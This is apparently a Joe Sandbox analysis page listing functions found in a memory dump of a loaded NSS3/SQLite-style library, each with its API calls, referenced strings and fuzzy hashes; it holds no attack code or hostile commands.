Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 485619726e37e4564c6b80c0f274d1b48f276b191a5b229328184ef38cae5eed
Instruction ID: 6459dd33ec00b9b937819f13393db6d4f731d333eea059941f2ec5c9835fda19
Opcode Fuzzy Hash: 485619726e37e4564c6b80c0f274d1b48f276b191a5b229328184ef38cae5eed
Instruction Fuzzy Hash: CA02CEB1E006849FEB008F65EC41BAF77B9EF4A318F144139E905A7B51E731E945CB92

Function 6CB50820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CB511D2

Strings

rows deleted, xrefs: 6CB517D2
authorizer malfunction, xrefs: 6CB51BD2
not authorized, xrefs: 6CB5175E, 6CB51763
@, xrefs: 6CB50B17

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 902af6944939044cb76b023d2df12b466fb45431e2c3990a71f8c0ad2661c52f
Instruction ID: d83ed2a1b71f434833f8873957fd69fb97ef7443bfe698d9a66e7ae38ccd677f
Opcode Fuzzy Hash: 902af6944939044cb76b023d2df12b466fb45431e2c3990a71f8c0ad2661c52f
Instruction Fuzzy Hash: 64D28A70E04289DFDB15CFA9C480B9DBBB1FF49308F688269D415ABB51D771A866CF80

Function 6CC1C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CC1CEA5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 9bfdf4a0f6d5721d1ea40b5879bfd987060492b13e430acf80ac876935d432b1
Instruction ID: 9fc850baaa12e3cbeb0f4d0720f95bba80b7237e4203345e88359c4689a99e02
Opcode Fuzzy Hash: 9bfdf4a0f6d5721d1ea40b5879bfd987060492b13e430acf80ac876935d432b1
Instruction Fuzzy Hash: E6717271A097418FD304DF29C48062ABBE1FF89324F258A6DF469C7BA0E730D955CB92

Function 6CB84420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CB84444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB84466

Part of subcall function 6CBD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD1228
Part of subcall function 6CBD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBD1238
Part of subcall function 6CBD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD124B
Part of subcall function 6CBD1200: PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD125D
Part of subcall function 6CBD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBD126F
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBD1280
Part of subcall function 6CBD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBD128E
Part of subcall function 6CBD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBD129A
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBD12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB8447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB8448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB84494

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: d929fba4bd3087888e806f0f7e1fa1d6cac4b9801830e0c73ea7e6bfab16ae4c
Instruction ID: 5d016abdc4901fa4b9ff7dfae9d0a3cd3d507c1c36fec8861cce080b8c4487db
Opcode Fuzzy Hash: d929fba4bd3087888e806f0f7e1fa1d6cac4b9801830e0c73ea7e6bfab16ae4c
Instruction Fuzzy Hash: 0D11B7B2D017449BD7208F659C805A7F7FCFF592587084B3EE88E52A00F771B5988791

Function 6CC8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC8D086
PR_Malloc.NSS3(00000001), ref: 6CC8D0B9
PR_Free.NSS3(?), ref: 6CC8D138

Strings

>, xrefs: 6CC8CF5B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 9551ecca4c51d54f2ef2d7b791496d6231bffc20607ce89b52647b8e87474aad
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: AAD14762B436470BFB14587D88A13EB7F939B8237CF58032AD522DBBE5F61988438351

Function 6CC2AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e6970195bf5033a0257c5bc58be39656b4c25a6515f81158ba6b3e1c23c51c3
Instruction ID: 8ee22d5515b5de55adca8b656f5d35acf42db38df455db9da756e612f230c9d2
Opcode Fuzzy Hash: 4e6970195bf5033a0257c5bc58be39656b4c25a6515f81158ba6b3e1c23c51c3
Instruction Fuzzy Hash: 34F1AE71F012568FDB04CF28D9517AA77B0AB8B308F15422DD906D7B54FB78AA96CBC0

Function 6CB56900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CB57910
sqlite\_%, xrefs: 6CB56953
BBB, xrefs: 6CB57207, 6CB5780B
not authorized, xrefs: 6CB578EC, 6CB578F1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 5510d5f4f3de005139220365281945e75b1d4c6956123af7e07d0994d4750536
Instruction ID: 179d494a778141b94c5da484cbc844fdc5e4bb4620f30e49cc5df887d164c45d
Opcode Fuzzy Hash: 5510d5f4f3de005139220365281945e75b1d4c6956123af7e07d0994d4750536
Instruction Fuzzy Hash: 83C29D74E00245CFCB14CF58C480AAEBBB2FF89308F6481ADD915AB755D776A866CF90

Function 6CB06F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6CB07034, 6CB07052, 6CB07070
sz=[0-9]*, xrefs: 6CB07049
unordered*, xrefs: 6CB0702B
noskipscan*, xrefs: 6CB07067

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 722c73afcf5263ce60ebdfc9bbfb0a4d97a76f4f880c8106270c80dd426b0dc7
Instruction ID: eefc3c9625ad402b005cedf791a9110b9c679f1d0b1ed2c1d9fbdc96309586b3
Opcode Fuzzy Hash: 722c73afcf5263ce60ebdfc9bbfb0a4d97a76f4f880c8106270c80dd426b0dc7
Instruction Fuzzy Hash: E4718D72F101914BEB148E6CC89039EFBA29F81314F254379CD59BBBD2E6B19C4687D2

Function 6CB464D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CB46E3E
not authorized, xrefs: 6CB46D47, 6CB46D4C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
API String ID: 0-2411240822
Opcode ID: e9c530b8a9233d16627e2386357eef8c24e2027247821910576fdeea117f3883
Instruction ID: 6950705d2919198f23fc3faaae7821586dcd17e66a1a4c5dc272f5dfd665b6c9
Opcode Fuzzy Hash: e9c530b8a9233d16627e2386357eef8c24e2027247821910576fdeea117f3883
Instruction Fuzzy Hash: F9626B70A082448FDB14CF19C484AA9BBF2FF89308F15C1ADD9159B76AD736E956CB80

Function 6CB9EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB9F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CB9F0F9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 45359d2df6cfeeb79dfae2fe5c5571683feaef378f95c0cf6650bf5a8c2b1d3f
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 1D919371E0065A8BCB14CF68C8916AEB7F5FF86334F14462DE56697BC0D730A905CB91

Function 6CBC2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CBE7929), ref: 6CBC2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CBE7929), ref: 6CBC2FE0

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 195cd3d1a889a36bf86c41fd13cb57d39c87b50170d83f193132928855332e36
Instruction ID: 86f8911d239b33d6188bfd04ab9a2f44e4b1631bedd99ae078fd37c231aeffe4
Opcode Fuzzy Hash: 195cd3d1a889a36bf86c41fd13cb57d39c87b50170d83f193132928855332e36
Instruction Fuzzy Hash: 4C51F072B049918FDB10CE59C880BEA73B9FB45319FA90129D949ABB01D731E946CB83

Function 6CB66410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6CB66401,?,?,0000001C), ref: 6CB66422
WSAGetLastError.WSOCK32(?,?,?,?,6CB66401,?,?,0000001C), ref: 6CB66432

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 582a5e77ae7e0a3f01fa2cfdc2f9f761ef3f068da4c47bb691b74541a7a33678
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: A6E01235151108AFDB01AF79DC0486B3BA9EF0822CB90C924F929C7AB1FA35E8658781

Function 6CBE0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBE1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBE1086

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 2445d01a8d03eab0b20849e56e99e186e65d95bbd43372a8cb45ef3042dea031
Instruction ID: 2de49a29bf15827a89002529f60e6d0f9ddbc80972b3d2e96ccc38851659f938
Opcode Fuzzy Hash: 2445d01a8d03eab0b20849e56e99e186e65d95bbd43372a8cb45ef3042dea031
Instruction Fuzzy Hash: ABA13C71E0129A9FCF08CF99D890AEEBBB6FF4C754B148129E905A7701DB35AC11CB90

Function 6CB0AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB0AE9F
winUnlock, xrefs: 6CB0AE18

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 49a4ad8954453c7524ed40c054b3c2996257e06ceb92b509ec9d0d182d68fcb5
Instruction ID: 3aa300022ae60a44493a45a464d1bcd2e60dc311070181e16e000b359388dcac
Opcode Fuzzy Hash: 49a4ad8954453c7524ed40c054b3c2996257e06ceb92b509ec9d0d182d68fcb5
Instruction Fuzzy Hash: C8718B716082449FDB14CF28D895AAABBF5FF8A314F14CA1DF94997201D730EA86CBC1

Function 6CB349F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 664c16679d5b2d50ad8fdf59ad1c0b9c477cb22530990e98fe8ac033607536bd
Instruction ID: cbc6558053d0e08fb5fcedd0bce2aec035d646a5f40710d05aea8b070b892704
Opcode Fuzzy Hash: 664c16679d5b2d50ad8fdf59ad1c0b9c477cb22530990e98fe8ac033607536bd
Instruction Fuzzy Hash: D3527B74E002698FDB04CF59C480BAEBBF2FF89318F259159D818AB751D736A846CF94

Function 6CBCED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CBCEE3D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 5ba04f38e9f5363cc7e91c84297d4182bc786772ab272e900f6a499d54f990b6
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 8D71E272F01785CBEB18CF59C88166EB7F2EB98304F15862DD85697B91D770E900CB92

Function 6CB04DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB05125

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: d60896839984d34b6051f0845a7f7b604dd1b57089861d0cbe14e3d8ba1d4775
Instruction ID: 51fa6d344977bf14b37bc41915978bc6124f6950cf061c2482833bb64cde17cc
Opcode Fuzzy Hash: d60896839984d34b6051f0845a7f7b604dd1b57089861d0cbe14e3d8ba1d4775
Instruction Fuzzy Hash: CAE12B71A193808FDB04DF28D48565ABBF0FF8A318F15861DE89997351E730EA85CF86

Function 6CB8E5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: ae1b7b4189bb15a54cc510ba253ebd5b4961121a12d58d9b8ef780177eb88949
Instruction ID: 79de8d2b6dc97dcef9f77c41c734314aefb6ca8f9a9ec753a4c494f1bdc9fd3b
Opcode Fuzzy Hash: ae1b7b4189bb15a54cc510ba253ebd5b4961121a12d58d9b8ef780177eb88949
Instruction Fuzzy Hash: 00D1BDB9D026D49BEB019F64D8407EE77B5EF4A71CF080128E81967B41E735E819CBE2

Function 6CB38960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

